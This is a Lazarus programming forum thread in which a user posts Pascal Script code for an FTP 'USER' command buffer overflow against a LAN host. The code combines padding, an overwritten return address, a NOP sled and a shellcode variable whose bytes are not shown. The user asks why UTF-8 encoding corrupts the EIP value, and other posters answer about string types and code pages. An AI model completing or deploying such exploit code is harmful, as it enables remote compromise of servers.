send hexadecimal values through tcp lazarus / 1-Linux ---------------------------------------------------------------------- opendelphi · 2019-03-04 20:26 Hey guys i am trying to write a snippets on pascal string to send specific shellcode into specific application port , but i think while sending that EIP is written with unicode character that's not should be "C2" means "?" , so what i want is to send this with correct values : Code: Pascal  [Select][+][-]window.onload = function(){var x1 = document.getElementById("main_content_section"); if (x1) { var x = document.getElementsByClassName("geshi");for (var i = 0; i        tcp_connect('192.168.81.139',21);     c:=stringofchar(#$43,637);      nops := #$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90;    p:= #$53#$93#$42#$7E;      fuzz := stringofchar('A',230);     overflow := fuzz +p+nops +shellcode + c;      s := 'USER '+overflow;      tcp_sendmessage(s); on debugger backend the EIP should be 5393427E , but actually it becomes 5393C242 thanks ---------------------------------------------------------------------- lucamar · 2019-03-04 20:33 Either define all your strings as RawByteString or use don't strings at all (replace them with array of Char). ---------------------------------------------------------------------- engkin · 2019-03-04 20:35 Why is this posted in Lazarus » Forum » Installation » Linux ? ---------------------------------------------------------------------- engkin · 2019-03-04 20:42 What code page are you using? What type of string are you using? Lazarus or FPC alone? what version? Any sample project instead of a few lines of code? Linux, right? ---------------------------------------------------------------------- opendelphi · 2019-03-04 20:55 Quote from: lucamar on March 04, 2019, 09:33:48 pmEither define all your strings as RawByteString or use don't strings at all (replace them with array of Char). rawbytestring is not supported by Pascal Script , i tried array of char but maybe i have used on wrong way , do u have a snippet about using it on correct way ---------------------------------------------------------------------- opendelphi · 2019-03-04 21:01 Quote from: engkin on March 04, 2019, 09:42:17 pmWhat code page are you using? What type of string are you using? Lazarus or FPC alone? what version? Any sample project instead of a few lines of code? Linux, right? yeah it is under linux , lazarus 1.8 m with fpc 3.4 but i didn't use code page ! ---------------------------------------------------------------------- engkin · 2019-03-04 21:14 Lazarus uses Unicode, specifically UTF8. Same for Linux, mostly. Which means code like: Code: Pascal  [Select][+][-]window.onload = function(){var x1 = document.getElementById("main_content_section"); if (x1) { var x = document.getElementsByClassName("geshi");for (var i = 0; i      nops := #$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90; is wrong. What code page the receiving application is expecting? You might want to read this. ---------------------------------------------------------------------- opendelphi · 2019-03-04 21:23 Quote from: engkin on March 04, 2019, 10:14:55 pmLazarus uses Unicode, specifically UTF8. Same for Linux, mostly. Which means code like: Code: Pascal  [Select][+][-]window.onload = function(){var x1 = document.getElementById("main_content_section"); if (x1) { var x = document.getElementsByClassName("geshi");for (var i = 0; i      nops := #$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90; is wrong. What code page the receiving application is expecting? You might want to read this. when sending hexdecimal chars you have to use #$ , for example if the character was \x41 , it becomes #$41 , so if you have other solution let me know , ---------------------------------------------------------------------- lucamar · 2019-03-04 22:42 Quote from: opendelphi on March 04, 2019, 09:55:59 pmrawbytestring is not supported by Pascal Script, i tried array of char but maybe i have used on wrong way , do u have a snippet about using it on correct way WAIT, Pascal Script? Are you talking about RemObjects' Pascal Script? Is that a (section of) script source? I think you'll have to show (and explain) quite a lot more of what you're trying to do ... ---------------------------------------------------------------------- opendelphi · 2019-03-04 23:03 Quote from: lucamar on March 04, 2019, 11:42:19 pmQuote from: opendelphi on March 04, 2019, 09:55:59 pmrawbytestring is not supported by Pascal Script, i tried array of char but maybe i have used on wrong way , do u have a snippet about using it on correct way WAIT, Pascal Script? Are you talking about RemObjects' Pascal Script? Is that a (section of) script source? I think you'll have to show (and explain) quite a lot more of what you're trying to do ... i am using pascal script rem yeah it about sending hexdecimal values throughs lnet tcp to specific application to control the EIP , what i mean that after sending fuzz the eip value the is not correct because there is C2 character placed there , got my point ?